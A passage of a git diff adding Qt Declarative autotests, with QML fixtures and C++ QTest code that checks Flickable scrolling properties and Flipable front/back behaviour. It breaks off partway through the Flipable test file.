+ pressDelay: 200; boundsBehavior: Flickable.StopAtBounds; interactive: false
+ maximumFlickVelocity: 2000
+
+ Column {
+ id: column
+ Repeater {
+ model: 4
+ Rectangle { width: 200; height: 300; color: "blue" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/flickableqgraphicswidget.qml b/tests/auto/declarative/qdeclarativeflickable/data/flickableqgraphicswidget.qml
new file mode 100644
index 00000000..6cbf12c1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/flickableqgraphicswidget.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 100; height: 100
+
+ QGraphicsWidget { objectName: "widget1"; width: 200; height: 300 }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml b/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml
new file mode 100644
index 00000000..d0ee545f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+Flickable {
+ property bool pressed: ma.pressed
+ width: 240
+ height: 320
+ contentWidth: 480
+ contentHeight: 320
+ flickableDirection: Flickable.HorizontalFlick
+ pressDelay: 50
+ Flickable {
+ objectName: "innerFlickable"
+ flickableDirection: Flickable.VerticalFlick
+ width: 480
+ height: 320
+ contentWidth: 480
+ contentHeight: 400
+ pressDelay: 10000
+ Rectangle {
+ y: 100
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: 240
+ height: 100
+ color: ma.pressed ? 'blue' : 'green'
+ MouseArea {
+ id: ma
+ objectName: "mouseArea"
+ anchors.fill: parent
+ }
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/resize.qml b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml
new file mode 100644
index 00000000..e2abb99f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.1
+
+Rectangle {
+ function resizeContent() {
+ flick.resizeContent(600, 600, Qt.point(100, 100))
+ }
+ function returnToBounds() {
+ flick.returnToBounds()
+ }
+ width: 400
+ height: 360
+ color: "gray"
+
+ Flickable {
+ id: flick
+ objectName: "flick"
+ anchors.fill: parent
+ contentWidth: 300
+ contentHeight: 300
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml
new file mode 100644
index 00000000..6ea81b2d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.1
+
+Rectangle {
+ width: 400
+ height: 400
+ color: "gray"
+
+ Flickable {
+ id: flick
+ objectName: "flick"
+ anchors.fill: parent
+ contentWidth: 800
+ contentHeight: 800
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/qdeclarativeflickable.pro b/tests/auto/declarative/qdeclarativeflickable/qdeclarativeflickable.pro
new file mode 100644
index 00000000..c176e072
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/qdeclarativeflickable.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeflickable.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
new file mode 100644
index 00000000..748760a9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
@@ -0,0 +1,554 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativeflickable_p.h>
+#include <private/qdeclarativevaluetype_p.h>
+#include <QtGui/qgraphicswidget.h>
+#include <math.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeflickable : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeflickable();
+
+private slots:
+ void create();
+ void horizontalViewportSize();
+ void verticalViewportSize();
+ void properties();
+ void boundsBehavior();
+ void maximumFlickVelocity();
+ void flickDeceleration();
+ void pressDelay();
+ void disabledContent();
+ void nestedPressDelay();
+ void flickableDirection();
+ void qgraphicswidget();
+ void resizeContent();
+ void returnToBounds();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void wheel();
+ void flickVelocity();
+
+private:
+ QDeclarativeEngine engine;
+
+ void flick(QGraphicsView *canvas, const QPoint &from, const QPoint &to, int duration);
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &objectName);
+};
+
+tst_qdeclarativeflickable::tst_qdeclarativeflickable()
+{
+}
+
+void tst_qdeclarativeflickable::create()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable01.qml"));
+ QDeclarativeFlickable *obj = qobject_cast<QDeclarativeFlickable*>(c.create());
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->isAtXBeginning(), true);
+ QCOMPARE(obj->isAtXEnd(), false);
+ QCOMPARE(obj->isAtYBeginning(), true);
+ QCOMPARE(obj->isAtYEnd(), false);
+ QCOMPARE(obj->contentX(), 0.);
+ QCOMPARE(obj->contentY(), 0.);
+
+ QCOMPARE(obj->horizontalVelocity(), 0.);
+ QCOMPARE(obj->verticalVelocity(), 0.);
+
+ QCOMPARE(obj->isInteractive(), true);
+ QCOMPARE(obj->boundsBehavior(), QDeclarativeFlickable::DragAndOvershootBounds);
+ QCOMPARE(obj->pressDelay(), 0);
+ QCOMPARE(obj->maximumFlickVelocity(), 2500.);
+
+ delete obj;
+}
+
+void tst_qdeclarativeflickable::horizontalViewportSize()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable02.qml"));
+ QDeclarativeFlickable *obj = qobject_cast<QDeclarativeFlickable*>(c.create());
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->contentWidth(), 800.);
+ QCOMPARE(obj->contentHeight(), 300.);
+ QCOMPARE(obj->isAtXBeginning(), true);
+ QCOMPARE(obj->isAtXEnd(), false);
+ QCOMPARE(obj->isAtYBeginning(), true);
+ QCOMPARE(obj->isAtYEnd(), false);
+
+ delete obj;
+}
+
+void tst_qdeclarativeflickable::verticalViewportSize()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable03.qml"));
+ QDeclarativeFlickable *obj = qobject_cast<QDeclarativeFlickable*>(c.create());
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->contentWidth(), 200.);
+ QCOMPARE(obj->contentHeight(), 1200.);
+ QCOMPARE(obj->isAtXBeginning(), true);
+ QCOMPARE(obj->isAtXEnd(), false);
+ QCOMPARE(obj->isAtYBeginning(), true);
+ QCOMPARE(obj->isAtYEnd(), false);
+
+ delete obj;
+}
+
+void tst_qdeclarativeflickable::properties()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickable04.qml"));
+ QDeclarativeFlickable *obj = qobject_cast<QDeclarativeFlickable*>(c.create());
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->isInteractive(), false);
+ QCOMPARE(obj->boundsBehavior(), QDeclarativeFlickable::StopAtBounds);
+ QCOMPARE(obj->pressDelay(), 200);
+ QCOMPARE(obj->maximumFlickVelocity(), 2000.);
+
+ QVERIFY(obj->property("ok").toBool() == false);
+ QMetaObject::invokeMethod(obj, "check");
+ QVERIFY(obj->property("ok").toBool() == true);
+
+ delete obj;
+}
+
+void tst_qdeclarativeflickable::boundsBehavior()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Flickable { boundsBehavior: Flickable.StopAtBounds }", QUrl::fromLocalFile(""));
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(component.create());
+ QSignalSpy spy(flickable, SIGNAL(boundsBehaviorChanged()));
+
+ QVERIFY(flickable);
+ QVERIFY(flickable->boundsBehavior() == QDeclarativeFlickable::StopAtBounds);
+
+ flickable->setBoundsBehavior(QDeclarativeFlickable::DragAndOvershootBounds);
+ QVERIFY(flickable->boundsBehavior() == QDeclarativeFlickable::DragAndOvershootBounds);
+ QCOMPARE(spy.count(),1);
+ flickable->setBoundsBehavior(QDeclarativeFlickable::DragAndOvershootBounds);
+ QCOMPARE(spy.count(),1);
+
+ flickable->setBoundsBehavior(QDeclarativeFlickable::DragOverBounds);
+ QVERIFY(flickable->boundsBehavior() == QDeclarativeFlickable::DragOverBounds);
+ QCOMPARE(spy.count(),2);
+ flickable->setBoundsBehavior(QDeclarativeFlickable::DragOverBounds);
+ QCOMPARE(spy.count(),2);
+
+ flickable->setBoundsBehavior(QDeclarativeFlickable::StopAtBounds);
+ QVERIFY(flickable->boundsBehavior() == QDeclarativeFlickable::StopAtBounds);
+ QCOMPARE(spy.count(),3);
+ flickable->setBoundsBehavior(QDeclarativeFlickable::StopAtBounds);
+ QCOMPARE(spy.count(),3);
+}
+
+void tst_qdeclarativeflickable::maximumFlickVelocity()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Flickable { maximumFlickVelocity: 1.0; }", QUrl::fromLocalFile(""));
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(component.create());
+ QSignalSpy spy(flickable, SIGNAL(maximumFlickVelocityChanged()));
+
+ QVERIFY(flickable);
+ QCOMPARE(flickable->maximumFlickVelocity(), 1.0);
+
+ flickable->setMaximumFlickVelocity(2.0);
+ QCOMPARE(flickable->maximumFlickVelocity(), 2.0);
+ QCOMPARE(spy.count(),1);
+ flickable->setMaximumFlickVelocity(2.0);
+ QCOMPARE(spy.count(),1);
+}
+
+void tst_qdeclarativeflickable::flickDeceleration()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Flickable { flickDeceleration: 1.0; }", QUrl::fromLocalFile(""));
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(component.create());
+ QSignalSpy spy(flickable, SIGNAL(flickDecelerationChanged()));
+
+ QVERIFY(flickable);
+ QCOMPARE(flickable->flickDeceleration(), 1.0);
+
+ flickable->setFlickDeceleration(2.0);
+ QCOMPARE(flickable->flickDeceleration(), 2.0);
+ QCOMPARE(spy.count(),1);
+ flickable->setFlickDeceleration(2.0);
+ QCOMPARE(spy.count(),1);
+}
+
+void tst_qdeclarativeflickable::pressDelay()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Flickable { pressDelay: 100; }", QUrl::fromLocalFile(""));
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(component.create());
+ QSignalSpy spy(flickable, SIGNAL(pressDelayChanged()));
+
+ QVERIFY(flickable);
+ QCOMPARE(flickable->pressDelay(), 100);
+
+ flickable->setPressDelay(200);
+ QCOMPARE(flickable->pressDelay(), 200);
+ QCOMPARE(spy.count(),1);
+ flickable->setPressDelay(200);
+ QCOMPARE(spy.count(),1);
+}
+
+// QT-4677
+void tst_qdeclarativeflickable::disabledContent()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/disabledcontent.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(flickable != 0);
+
+ QVERIFY(flickable->contentX() == 0);
+ QVERIFY(flickable->contentY() == 0);
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(70,70)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,90)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(100,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+
+ QVERIFY(flickable->contentX() < 0);
+ QVERIFY(flickable->contentY() < 0);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(90, 90)));
+
+ delete canvas;
+}
+
+
+// QTBUG-17361
+void tst_qdeclarativeflickable::nestedPressDelay()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/nestedPressDelay.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *outer = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(outer != 0);
+
+ QDeclarativeFlickable *inner = canvas->rootObject()->findChild<QDeclarativeFlickable*>("innerFlickable");
+ QVERIFY(inner != 0);
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150)));
+ // the MouseArea is not pressed immediately
+ QVERIFY(outer->property("pressed").toBool() == false);
+
+ // The outer pressDelay will prevail (50ms, vs. 10sec)
+ // QTRY_VERIFY() has 5sec timeout, so will timeout well within 10sec.
+ QTRY_VERIFY(outer->property("pressed").toBool() == true);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150)));
+
+ delete canvas;
+}
+
+void tst_qdeclarativeflickable::flickableDirection()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Flickable { flickableDirection: Flickable.VerticalFlick; }", QUrl::fromLocalFile(""));
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(component.create());
+ QSignalSpy spy(flickable, SIGNAL(flickableDirectionChanged()));
+
+ QVERIFY(flickable);
+ QCOMPARE(flickable->flickableDirection(), QDeclarativeFlickable::VerticalFlick);
+
+ flickable->setFlickableDirection(QDeclarativeFlickable::HorizontalAndVerticalFlick);
+ QCOMPARE(flickable->flickableDirection(), QDeclarativeFlickable::HorizontalAndVerticalFlick);
+ QCOMPARE(spy.count(),1);
+
+ flickable->setFlickableDirection(QDeclarativeFlickable::AutoFlickDirection);
+ QCOMPARE(flickable->flickableDirection(), QDeclarativeFlickable::AutoFlickDirection);
+ QCOMPARE(spy.count(),2);
+
+ flickable->setFlickableDirection(QDeclarativeFlickable::HorizontalFlick);
+ QCOMPARE(flickable->flickableDirection(), QDeclarativeFlickable::HorizontalFlick);
+ QCOMPARE(spy.count(),3);
+
+ flickable->setFlickableDirection(QDeclarativeFlickable::HorizontalFlick);
+ QCOMPARE(flickable->flickableDirection(), QDeclarativeFlickable::HorizontalFlick);
+ QCOMPARE(spy.count(),3);
+}
+
+void tst_qdeclarativeflickable::qgraphicswidget()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/flickableqgraphicswidget.qml"));
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(c.create());
+
+ QVERIFY(flickable != 0);
+ QGraphicsWidget *widget = findItem<QGraphicsWidget>(flickable->contentItem(), "widget1");
+ QVERIFY(widget);
+}
+
+// QtQuick 1.1
+void tst_qdeclarativeflickable::resizeContent()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml"));
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(c.create());
+ QDeclarativeFlickable *obj = findItem<QDeclarativeFlickable>(root, "flick");
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->contentX(), 0.);
+ QCOMPARE(obj->contentY(), 0.);
+ QCOMPARE(obj->contentWidth(), 300.);
+ QCOMPARE(obj->contentHeight(), 300.);
+
+ QMetaObject::invokeMethod(root, "resizeContent");
+
+ QCOMPARE(obj->contentX(), 100.);
+ QCOMPARE(obj->contentY(), 100.);
+ QCOMPARE(obj->contentWidth(), 600.);
+ QCOMPARE(obj->contentHeight(), 600.);
+
+ delete root;
+}
+
+// QtQuick 1.1
+void tst_qdeclarativeflickable::returnToBounds()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml"));
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(c.create());
+ QDeclarativeFlickable *obj = findItem<QDeclarativeFlickable>(root, "flick");
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->contentX(), 0.);
+ QCOMPARE(obj->contentY(), 0.);
+ QCOMPARE(obj->contentWidth(), 300.);
+ QCOMPARE(obj->contentHeight(), 300.);
+
+ obj->setContentX(100);
+ obj->setContentY(400);
+ QTRY_COMPARE(obj->contentX(), 100.);
+ QTRY_COMPARE(obj->contentY(), 400.);
+
+ QMetaObject::invokeMethod(root, "returnToBounds");
+
+ QTRY_COMPARE(obj->contentX(), 0.);
+ QTRY_COMPARE(obj->contentY(), 0.);
+
+ delete root;
+}
+
+void tst_qdeclarativeflickable::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Flickable { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Flickable { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+}
+
+void tst_qdeclarativeflickable::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("resizeContent") << "Component.onCompleted: resizeContent(100,100,Qt.point(50,50))"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: resizeContent"
+ << "";
+
+ QTest::newRow("returnToBounds") << "Component.onCompleted: returnToBounds()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: returnToBounds"
+ << "";
+
+}
+
+void tst_qdeclarativeflickable::wheel()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/wheel.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *flick = canvas->rootObject()->findChild<QDeclarativeFlickable*>("flick");
+ QVERIFY(flick != 0);
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneWheelEvent event(QEvent::GraphicsSceneWheel);
+ event.setScenePos(QPointF(200, 200));
+ event.setDelta(-120);
+ event.setOrientation(Qt::Vertical);
+ event.setAccepted(false);
+ QApplication::sendEvent(scene, &event);
+
+ QTRY_VERIFY(flick->contentY() > 0);
+ QVERIFY(flick->contentX() == 0);
+
+ flick->setContentY(0);
+ QVERIFY(flick->contentY() == 0);
+
+ event.setScenePos(QPointF(200, 200));
+ event.setDelta(-120);
+ event.setOrientation(Qt::Horizontal);
+ event.setAccepted(false);
+ QApplication::sendEvent(scene, &event);
+
+ QTRY_VERIFY(flick->contentX() > 0);
+ QVERIFY(flick->contentY() == 0);
+
+ delete canvas;
+}
+
+void tst_qdeclarativeflickable::flickVelocity()
+{
+#ifdef Q_WS_MAC
+ QSKIP("Producing flicks on Mac CI impossible due to timing problems", SkipAll);
+#endif
+
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/flickable03.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(flickable != 0);
+
+ // flick up
+ flick(canvas, QPoint(20,190), QPoint(20, 50), 200);
+ QVERIFY(flickable->verticalVelocity() > 0.0);
+ QTRY_VERIFY(flickable->verticalVelocity() == 0.0);
+
+ // flick down
+ flick(canvas, QPoint(20,10), QPoint(20, 140), 200);
+ QVERIFY(flickable->verticalVelocity() < 0.0);
+ QTRY_VERIFY(flickable->verticalVelocity() == 0.0);
+
+ delete canvas;
+}
+
+void tst_qdeclarativeflickable::flick(QGraphicsView *canvas, const QPoint &from, const QPoint &to, int duration)
+{
+ const int pointCount = 5;
+ QPoint diff = to - from;
+
+ // send press, five equally spaced moves, and release.
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(from));
+
+ for (int i = 0; i < pointCount; ++i) {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(from + (i+1)*diff/pointCount), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::qWait(duration/pointCount);
+ QCoreApplication::processEvents();
+ }
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(to));
+}
+
+template<typename T>
+T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QGraphicsObject *item = qobject_cast<QGraphicsObject*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ return static_cast<T*>(item);
+ }
+ item = findItem<T>(item, objectName);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+QTEST_MAIN(tst_qdeclarativeflickable)
+
+#include "tst_qdeclarativeflickable.moc"
diff --git a/tests/auto/declarative/qdeclarativeflipable/data/crash.qml b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml
new file mode 100644
index 00000000..bc5229b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Flipable {
+ transform: Rotation {
+ axis.y: 1
+ axis.z: 0
+ angle: 180
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflipable/data/flipable-abort.qml b/tests/auto/declarative/qdeclarativeflipable/data/flipable-abort.qml
new file mode 100644
index 00000000..69ff4a22
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflipable/data/flipable-abort.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Rectangle {
+ Flipable {
+ id: flipable
+ }
+ Rectangle {
+ visible: flipable.side == Flipable.Front
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflipable/data/test-flipable.qml b/tests/auto/declarative/qdeclarativeflipable/data/test-flipable.qml
new file mode 100644
index 00000000..02b69e07
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflipable/data/test-flipable.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Flipable {
+ id: flipable
+ width: 640; height: 480
+
+ front: Rectangle { anchors.fill: flipable }
+ back: Rectangle { anchors.fill: flipable }
+}
diff --git a/tests/auto/declarative/qdeclarativeflipable/qdeclarativeflipable.pro b/tests/auto/declarative/qdeclarativeflipable/qdeclarativeflipable.pro
new file mode 100644
index 00000000..3b6d19a6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflipable/qdeclarativeflipable.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeflipable.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp
new file mode 100644
index 00000000..1835c656
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativeflipable_p.h>
+#include <private/qdeclarativevaluetype_p.h>
+#include <QFontMetrics>
+#include <private/qdeclarativerectangle_p.h>
+#include <math.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeflipable : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeflipable();
+
+private slots:
+ void create();
+ void checkFrontAndBack();
+ void setFrontAndBack();
+
+ // below here task issues
+ void QTBUG_9161_crash();
+ void QTBUG_8474_qgv_abort();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeflipable::tst_qdeclarativeflipable()
+{
+}
+
+void tst_qdeclarativeflipable::create()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-flipable.qml"));
+ QDeclarativeFlipable *obj = qobject_cast<QDeclarativeFlipable*>(c.create());
+
+ QVERIFY(obj != 0);
+ delete obj;
+}
+
+void tst_qdeclarativeflipable::checkFrontAndBack()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-flipable.qml"));
+ QDeclarativeFlipable *obj = qobject_cast<QDeclarativeFlipable*>(c.create());
+
+ QVERIFY(obj != 0);
+ QVERIFY(obj->front() != 0);
+ QVERIFY(obj->back() != 0);
+ delete obj;
+}
+
+void tst_qdeclarativeflipable::setFrontAndBack()
+{
+ QDeclarativeEngine engine;
